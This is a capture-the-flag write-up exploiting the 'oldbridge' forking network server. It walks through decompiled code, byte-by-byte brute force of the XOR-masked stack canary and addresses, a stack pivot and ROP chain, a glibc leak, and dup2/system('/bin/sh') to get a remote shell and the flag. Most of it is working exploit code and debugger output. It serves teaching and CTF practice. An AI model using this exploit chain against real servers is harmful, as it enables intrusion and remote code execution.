Old Bridge
17 minutes to read
We are given a 64-bit binary called oldbridge
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
We have almost all protetions enabled, so we must perform several bypasses to exploit the binary.
Reverse engineering
As in most binary exploitation challenges, we must do a reverse engineering step to obtain the assembly instructions or the C source code of the binary to determine what it is doing and how we can exploit it.
This is the main
function:
void main(int param_1, undefined8 *param_2) {
int iVar1;
long in_FS_OFFSET;
socklen_t local_50;
undefined4 local_4c;
int local_48;
undefined4 local_44;
int local_40;
__pid_t local_3c;
undefined local_38[4];
uint32_t local_34;
sockaddr local_28;
undefined8 local_10;
local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
local_4c = 1;
if (param_1 != 2) {
printf("usage: %s <port>\n", *param_2);
/* WARNING: Subroutine does not return */
exit(1);
}
local_48 = atoi((char *) param_2[1]);
signal(2, exit_server);
server_sd = socket(2, 1, 0);
if (server_sd < 0) {
perror("socket");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = setsockopt(server_sd, 1, 2, &local_4c, 4);
if (iVar1 < 0) {
perror("setsockopt");
/* WARNING: Subroutine does not return */
exit(1);
}
local_38._0_2_ = 2;
local_34 = htonl(0);
local_38._2_2_ = htons((uint16_t) local_48);
local_44 = 0x10;
iVar1 = bind(server_sd, (sockaddr *) local_38, 0x10);
if (iVar1 < 0) {
perror("bind");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = listen(server_sd, 5);
if (iVar1 < 0) {
perror("listen");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
signal(0x11, (__sighandler_t) 0x1);
while (true) {
local_50 = 0x10;
local_40 = accept(server_sd, &local_28, &local_50);
if (local_40 < 0) {
perror("accept");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
local_3c = fork();
if (local_3c < 0) break;
if (local_3c == 0) {
iVar1 = check_username();
if (iVar1 != 0) {
write(local_40, "Username found!\n", 0x10);
}
close(local_40);
/* WARNING: Subroutine does not return */
exit(0);
}
close(local_40);
}
perror("fork");
close(local_40);
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
It just starts a socket server and uses fork
whenever a new connection arrives. This fact will be important for exploitation.
Then, it calls check_username
:
bool check_username(int param_1) {
int iVar1;
ssize_t sVar2;
long in_FS_OFFSET;
int local_420;
byte local_418[1032];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
write(param_1, "Username: ", 10);
sVar2 = read(param_1, local_418, 0x420);
for (local_420 = 0; local_420 < (int) sVar2; local_420 = local_420 + 1) {
local_418[local_420] = local_418[local_420] ^ 0xd;
}
iVar1 = memcmp(local_418, "il{dih", 6);
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return iVar1 == 0;
}
Buffer Overflow vulnerability
Here we have a Buffer Overflow vulnerability since local_418
is assigned 1032 bytes and read
is copying 0x420
= 1044 bytes in local_418
, thus overflowing the reserved buffer in 12 bytes.
Another thing to notice is that the input data is being ciphered with XOR and a key of 0xd
. Finally, it is compared to "il{dih"
. We are able to revert the encryption as follows:
$ python3 -q
>>> bytes([c ^ 0xd for c in b'il{dih']).decode()
'davide'
At this point, we have the expected username:
$ ./oldbridge 1234
$ nc 127.0.0.1 1234
Username: davide
Username found!
But there’s nothing more…
Exploit development
Let’s start the exploitation process by obtaining the stack canary value. Since the program is forking on new connections, the parent’s process memory is copied to the children processes. Hence, we can use brute force byte by byte to obtain the whole stack canary because the child will crash when the byte is wrong but will give another response when the overwritten byte is correct.
This is the behavior when we overwrite the stack canary:
$ ./oldbridge 1234
$ python3 -c 'print("A" * 1200)' | nc 127.0.0.1 1234
Username:
$ ./oldbridge 1234
*** stack smashing detected ***: terminated
Brute force attack
This is the oracle we need:
$ python3 -c 'print("A" * 1025)' | nc 127.0.0.1 1234
Username: Username found!
$ python3 -c 'print("A" * 1026)' | nc 127.0.0.1 1234
Username:
With 6 + 1025 + 1 = 1032 bytes, we get a Username found!
message and with one more byte we don’t get the message (and the server log shows the *** stack smashing detected ***
error).
This will be the initial exploit to extract the canary by brute force:
#!/usr/bin/env python3
from pwn import *
context.binary = 'oldbridge'
def get_process():
with context.local(log_level='CRITICAL'):
if len(sys.argv) == 2:
port = sys.argv[1]
return remote('127.0.0.1', int(port))
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def bruteforce_value(payload: bytes, value_name: str) -> bytes:
value = b''
value_progress = log.progress(value_name)
while len(value) < 8:
for c in range(256):
value_progress.status(repr(value + p8(c)))
p = get_process()
p.sendafter(b'Username: ', payload + value + p8(c))
try:
p.recvline()
value += p8(c)
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
value_progress.success(repr(value))
return value
def main():
offset = 1026
username = b'davide'
junk = username + b'A' * offset
canary = bruteforce_value(junk, 'Canary')
if __name__ == '__main__':
main()
And here we have the canary:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: b'\r\xa9%\xf53\x1c\x1e\x8c'
But it is weird. By experience, we know that stack canaries start with a null byte to prevent leakage in strings. And here we see a \r
(which is 0xd
). Some of you may have noticed what’s happening. For the rest, we can use GDB to compare the values:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ start 1234
[+] Breaking at '0xc99'
gef➤ canary
[+] The canary of process 47056 is at 0x7fffffffea59, value is 0xd7564ed1f6b6e100
gef➤ continue
Continuing.
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: b'\r\xec\xbb\xfb\xdcC[\xda'
Let’s represent the canary value in hexadecimal format:
$ python3 -q
>>> from pwn import u64
>>> hex(u64(b'\r\xec\xbb\xfb\xdcC[\xda'))
'0xda5b43dcfbbbec0d'
They do not match. Knowing that the first two digits should be 00
and they are 0d
, we must remember that there was a XOR encryption with key 0xd
. In fact, we have got the value of the canary, but encrypted:
>>> bytes([b ^ 0xd for b in b'\r\xec\xbb\xfb\xdcC[\xda'])
b'\x00\xe1\xb6\xf6\xd1NV\xd7'
>>> hex(u64(b'\x00\xe1\xb6\xf6\xd1NV\xd7'))
'0xd7564ed1f6b6e100'
And there we have it. Therefore, our brute force process was correct. Now we can proceed with the next steps.
PIE bypass
We need to bypass ASLR both for Glibc and the binary (PIE is enabled). We can use the same brute force process because after the stack canary value, we have the saved $rbp
from the previous stack frame and then the saved return address.
Let’s check it out in GDB, setting a breakpoint after the read
instruction:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ disassemble check_username
Dump of assembler code for function check_username:
0x0000000000000b6f <+0>: push rbp
0x0000000000000b70 <+1>: mov rbp,rsp
0x0000000000000b73 <+4>: sub rsp,0x430
0x0000000000000b7a <+11>: mov DWORD PTR [rbp-0x424],edi
...
0x0000000000000bad <+62>: call 0x910 <write@plt>
0x0000000000000bb2 <+67>: lea rcx,[rbp-0x410]
0x0000000000000bb9 <+74>: mov eax,DWORD PTR [rbp-0x424]
0x0000000000000bbf <+80>: mov edx,0x420
0x0000000000000bc4 <+85>: mov rsi,rcx
0x0000000000000bc7 <+88>: mov edi,eax
0x0000000000000bc9 <+90>: call 0x970 <read@plt>
0x0000000000000bce <+95>: mov DWORD PTR [rbp-0x414],eax
0x0000000000000bd4 <+101>: mov DWORD PTR [rbp-0x418],0x0
0x0000000000000bde <+111>: jmp 0xc0b <check_username+156>
0x0000000000000be0 <+113>: mov eax,DWORD PTR [rbp-0x418]
...
0x0000000000000c57 <+232>: call 0x920 <__stack_chk_fail@plt>
0x0000000000000c5c <+237>: leave
0x0000000000000c5d <+238>: ret
End of assembler dump.
gef➤ break *check_username+95
Breakpoint 1 at 0xbce
gef➤ set follow-fork-mode child
gef➤ run 1234
Starting program: ./oldbridge 1234
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] b'\0'
Starting program: ./oldbridge 1234
[Attaching after process 61133 fork to child process 61371]
[New inferior 2 (process 61371)]
[Detaching after fork from parent process 61133]
[Inferior 1 (process 61133) detached]
[Switching to process 61371]
Thread 2.1 "oldbridge" hit Breakpoint 1, 0x0000555555400bce in check_username ()
gef➤ canary
[+] The canary of process 61371 is at 0x7fffffffea59, value is 0x7370c9b1cae54f00
gef➤ x/10gx $rsp+0x400
0x7fffffffe620: 0x4141414141414141 0x4141414141414141
0x7fffffffe630: 0x4141414141414141 0x4141414141414141
0x7fffffffe640: 0x4141414141414141 0x7370c9b1cae54f00
0x7fffffffe650: 0x00007fffffffe6c0 0x0000555555400ecf
0x7fffffffe660: 0x00007fffffffe7b8 0x00000002000000f0
gef➤ x 0x00007fffffffe6c0
0x7fffffffe6c0: 0x0000000000000000
gef➤ x 0x0000555555400ecf
0x555555400ecf <main+566>: 0xbac8458b1674c085
There we have the saved $rbp
and the saved return address. In order to help the brute force process, we can give the function the first two digits, that will not change presumably. In fact, we are only interested in the return address, because it has an address of the binary at runtime, so we will be able to compute the base address. These are the xor
function and the updated main
function of the Python exploit:
def xor(payload: bytes, key: int) -> bytes:
return bytes([b ^ key for b in payload])
def main():
offset = 1026
key = 0xd
username = xor(b'il{dih', key)
junk = username + b'A' * offset
help_canary = xor(b'\0', key)
help_ret = xor(b'\xcf', key)
xor_canary = bruteforce_value(junk, 'XOR Canary', value=help_canary)
xor_saved_rbp = bruteforce_value(junk + xor_canary, 'XOR saved $rbp')
xor_return_addr = bruteforce_value(junk + xor_canary + xor_saved_rbp, 'XOR return address', value=help_ret)
canary = u64(xor(xor_canary, key).ljust(8, b'\0'))
saved_rbp = u64(xor(xor_saved_rbp, key).ljust(8, b'\0'))
return_addr = u64(xor(xor_return_addr, key).ljust(8, b'\0'))
log.success(f'Canary: {hex(canary)}')
log.success(f'Saved $rbp: {hex(saved_rbp)}')
log.success(f'Return address: {hex(return_addr)}')
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b'\rUMW\xc2\xc9\xd6\x9f'
[+] XOR saved $rbp: b'\x9d\xc5\x1cG\xf1r\r\r'
[+] XOR return address: b'\xc2\x03\xad\x91I[\r\r'
[+] Canary: 0x92dbc4cf5a405800
[+] Saved $rbp: 0x7ffc4a11c890
[+] Return address: 0x56449ca00ecf
Now we can easily compute the binary base address by substracting 0xecf
to the saved return address:
elf_base_addr = return_addr - 0xecf
log.success(f'ELF base address: {hex(elf_base_addr)}')
At this point, we can try to use gadgets like pop rdi; ret
to leak an address inside Glibc and bypass ASLR. This would be the values for the ROP chain:
$ ROPgadget --binary oldbridge | grep 'pop rdi ; ret'
0x0000000000000f73 : pop rdi ; ret
$ objdump -d oldbridge | grep printf
0000000000000940 <printf@plt>:
940: ff 25 f2 16 20 00 jmpq *0x2016f2(%rip) # 202038 <printf@GLIBC_2.2.5>
cda: e8 61 fc ff ff callq 940 <printf@plt>
$ readelf -s oldbridge | grep check_username
78: 0000000000000b6f 239 FUNC GLOBAL DEFAULT 14 check_username
So, this is the ROP chain (notice the XOR encryption):
pop_rdi_ret_addr = elf_base_addr + 0xf73
printf_got = elf_base_addr + 0x202038
printf_plt = elf_base_addr + 0x940
check_username_addr = elf_base_addr + 0xb6f
payload = junk
payload += xor_canary
payload += xor_saved_rbp
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(printf_got), key)
payload += xor(p64(printf_plt), key)
payload += xor(p64(check_username_addr), key)
But it does not work either in client side or server side. The fact is that there is not enough space for a ROP chain, only for an address that overwrites the return address.
Stack Pivot
Hence, we must find a way to do a Stack Pivot. Fortunately, we have a helper
function to help us perform this technique:
$ objdump -M intel --disassemble=helper oldbridge
oldbridge: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000000000000b3a <helper>:
b3a: 55 push rbp
b3b: 48 89 e5 mov rbp,rsp
b3e: 48 83 ec 10 sub rsp,0x10
b42: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
b49: 00 00
b4b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
b4f: 31 c0 xor eax,eax
b51: 58 pop rax
b52: c3 ret
b53: 5a pop rdx
b54: c3 ret
b55: 0f 05 syscall
b57: c3 ret
b58: 90 nop
b59: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
b5d: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28
b64: 00 00
b66: 74 05 je b6d <helper+0x33>
b68: e8 b3 fd ff ff call 920 <__stack_chk_fail@plt>
b6d: c9 leave
b6e: c3 ret
Disassembly of section .fini:
The key here are the instructions leave; ret
at offset 0xb6d
. Those instructions form a gadget that allows us to set the stack pointer to the same value as $rbp
since leave
is the same as mov rbp, rsp; pop rbp
. And then the ret
will bring us to the address pointed by $rbp
, which we can control.
The strategy is to enter the ROP chain in the junk section of the payload and set $rbp
to that point.
Let’s run the exploit with GDB attached and then find out where is $rbp
:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ run 1234
Starting program: ./oldbridge 1234
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b'\r\xb0\xff#\x10%\xbb\x10'
[+] XOR saved $rbp: b'\xcd\xeb\xf2\xf2\xf2r\r\r'
[+] XOR return address: b'\xc2\x03MXXX\r\r'
[+] Canary: 0x1db6281d2ef2bd00
[+] Saved $rbp: 0x7fffffffe6c0
[+] Return address: 0x555555400ecf
[+] ELF base address: 0x555555400000
Alright, we have 0x7fffffffe6c0
as the value of the saved $rbp
. Let’s set a breakpoint in the debugger and run the exploit again to check more things:
[Detaching after fork from child process 139491]
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3107 in __libc_accept (fd=0x3, addr=..., len=0x7fffffffe678) at ../sysdeps/unix/sysv/linux/accept.c:26
26 ../sysdeps/unix/sysv/linux/accept.c: No such file or directory.
gef➤ set follow-fork-mode child
gef➤ break *check_username+95
Breakpoint 1 at 0x555555400bce
gef➤ continue
Continuing.
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[...../..] XOR Canary: b'\r\x00'
[Attaching after process 133185 fork to child process 143736]
[New inferior 2 (process 143736)]
[Detaching after fork from parent process 133185]
[Inferior 1 (process 133185) detached]
[Switching to process 143736]
Thread 2.1 "oldbridge" hit Breakpoint 1, 0x0000555555400bce in check_username ()
Let’s print the contents of $rbp
at this point (right after the read
call):
gef➤ p/x $rbp
$1 = 0x7fffffffe650
gef➤ x/gx 0x7fffffffe650
0x7fffffffe650: 0x00007fffffffe6c0
We see that $rbp
contains an address (0x7fffffffe650
), and inside this address we find our extracted value (0x00007fffffffe6c0
). They differ in 0x70
.
Now let’s find the stack address where our payload begins (we can search for davide
):
gef➤ grep davide
[+] Searching 'davide' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe240 - 0x7fffffffe277 → "davideAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
And the distance between our payload and the address stored in $rbp
is 0x410
:
gef➤ p/x $rbp - 0x7fffffffe240
$2 = 0x410
Now, the idea is to set $rbp
to point to this address plus 0x70
and minus 0x8
to prevent stack alignment issues.
For the moment, we will recycle the previous ROP chain to see if it works. But it doesn’t. Maybe it’s because of using printf
. Instead, we can use write
, which needs two arguments (the file descriptor to write to, and the address of the string to write). The second argument will go in $rsi
, so we need another gadget, and also the address of write
at the PLT:
$ ROPgadget --binary oldbridge | grep 'pop rsi'
0x0000000000000f71 : pop rsi ; pop r15 ; ret
$ objdump -d oldbridge | grep write
0000000000000910 <write@plt>:
910: ff 25 0a 17 20 00 jmpq *0x20170a(%rip) # 202020 <write@GLIBC_2.2.5>
bad: e8 5e fd ff ff callq 910 <write@plt>
ee4: e8 27 fa ff ff callq 910 <write@plt>
Now this is the payload for the ROP chain, including the Stack Pivot technique:
pop_rdi_ret_addr = elf_base_addr + 0xf73
pop_rsi_pop_r15_ret_addr = elf_base_addr + 0xf71
leave_ret_addr = elf_base_addr + 0xb6d
printf_got = elf_base_addr + 0x202038
write_plt = elf_base_addr + 0x910
check_username_addr = elf_base_addr + 0xb6f
payload = username
payload += b'A' * (0x10 - len(username))
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(1), key)
payload += xor(p64(pop_rsi_pop_r15_ret_addr), key)
payload += xor(p64(printf_got), key)
payload += xor(p64(0), key)
payload += xor(p64(write_plt), key)
payload += xor(p64(check_username_addr), key)
payload += b'A' * (offset + len(username) - len(payload))
payload += xor_canary
payload += xor(p64(saved_rbp - 0x478), key)
payload += xor(p64(leave_ret_addr), key)
p = get_process()
p.sendafter(b'Username: ', payload)
p.interactive()
Notice that 0x478
is 0x410
plus 0x70
and minus 0x8
, as said before.
Leaking Glibc addresses
If we execute it, we find that it gets called, and prints some raw bytes (not visible) and Username:
right after, meaning that we printed the bytes of an address and executed check_username
:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Interrupted
$ ./oldbridge 1234
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
...
Username found!
Username found!
Username found!
...
Username found!
KUsername:
In order to obtain the leak in our side, we must change the file descriptor (1
was for stdout
, just for testing purposes). Socket file descriptors usually are above 3
. We can try until we find the correct one.
Locally, it is 4
:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[*] Switching to interactive mode
\x90\x00\x84K\x7fUsername: $
[*] Interrupted
And there we have the leak to bypass ASLR in Glibc. We can now take it and compute the base address of Glibc (again, locally):
$ ldd oldbridge
linux-vdso.so.1 (0x00007ffc43fd4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcf014d5000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcf018de000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep ' write'
900: 00000000001144a0 153 FUNC WEAK DEFAULT 15 writev@@GLIBC_2.2.5
2281: 000000000010e090 153 FUNC WEAK DEFAULT 15 write@@GLIBC_2.2.5
p = get_process()
p.sendafter(b'Username: ', payload)
write_addr = u64(p.recvuntil(b'Username: ').rstrip(b'Username: ').ljust(8, b'\0'))
log.success(f'Leaked write() address: {hex(write_addr)}')
write_offset = 0x10e090
glibc_base_addr = write_addr - write_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
p.close()
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[+] Leaked write() address: 0x7f4b84af0090
[+] Glibc base address: 0x7f4b849e2000
[*] Closed connection to 127.0.0.1 port 1234
Getting RCE
Everything correct. Now, in order to get an interactive shell, we need to use the socket connection. We can’t use a reverse shell because the remote instance does not have Internet access.
Hence, we will be calling dup2
to duplicate the file descriptor of the socket (4
) for stdin
(0
), stdout
(1
) and stderr
(2
). Finally, we will call system("/bin/sh")
to get an interactive shell over the socket connection.
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep dup2
627: 000000000010e8f0 37 FUNC GLOBAL DEFAULT 15 __dup2@@GLIBC_2.2.5
1017: 000000000010e8f0 37 FUNC WEAK DEFAULT 15 dup2@@GLIBC_2.2.5
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153a00 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 00000000000522c0 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 00000000000522c0 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
We can use a loop to duplicate the file descriptors more easily:
dup2_offset = 0x10e8f0
system_offset = 0x522c0
bin_sh_offset = 0x1b45bd
dup2_addr = glibc_base_addr + dup2_offset
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = username
payload += b'A' * (0x10 - len(username))
for fd in [0, 1, 2]:
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(socket_fd), key)
payload += xor(p64(pop_rsi_pop_r15_ret_addr), key)
payload += xor(p64(fd), key)
payload += xor(p64(0), key)
payload += xor(p64(dup2_addr), key)
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(bin_sh_addr), key)
payload += xor(p64(system_addr), key)
payload += b'A' * (offset + len(username) - len(payload))
payload += xor_canary
payload += xor(p64(saved_rbp - 0x478), key)
payload += xor(p64(leave_ret_addr), key)
p = get_process()
p.sendafter(b'Username: ', payload)
p.interactive()
And we manage to get a shell locally:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[+] Leaked write() address: 0x7f4b84af0090
[+] Glibc base address: 0x7f4b849e2000
[*] Closed connection to 127.0.0.1 port 1234
[*] Switching to interactive mode
$ ls
oldbridge
solve.py
Now we need to run it remotely and find the correct version of Glibc:
$ python3 solve.py 167.71.139.192:31230
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b"\r\x82\xee\x8dl'P\x8f"
[+] XOR saved $rbp: b'\x1d>\xa8\xde\xf2r\r\r'
[+] XOR return address: b'\xc2\xa3uE\xb3X\r\r'
[+] Canary: 0x825d2a6180e38f00
[+] Saved $rbp: 0x7fffd3a53310
[+] Return address: 0x55be4878aecf
[+] ELF base address: 0x55be4878a000
[+] Leaked write() address: 0x7f8817920280
[+] Glibc base address: 0x7f88178121f0
[*] Closed connection to 167.71.139.192 port 31230
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
We can take the last three hexadecimal digits of the leaked write
address and search in https://libc.rip:
Flag
Eventually, we get that the last Glibc version of the list is the one that is used by the remote instance. We just update the four offsets we need and run the exploit again
$ python3 solve.py 167.71.139.192:31230
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b"\r\x82\xee\x8dl'P\x8f"
[+] XOR saved $rbp: b'\x1d>\xa8\xde\xf2r\r\r'
[+] XOR return address: b'\xc2\xa3uE\xb3X\r\r'
[+] Canary: 0x825d2a6180e38f00
[+] Saved $rbp: 0x7fffd3a53310
[+] Return address: 0x55be4878aecf
[+] ELF base address: 0x55be4878a000
[+] Leaked write() address: 0x7f8817920280
[+] Glibc base address: 0x7f8817829000
[*] Closed connection to 167.71.139.192 port 31230
[*] Switching to interactive mode
$ ls
core
flag.txt
oldbridge
$ cat flag.txt
HTB{q4i1q3_i1i3_p0a_a01}
The full exploit code is here: solve.py
.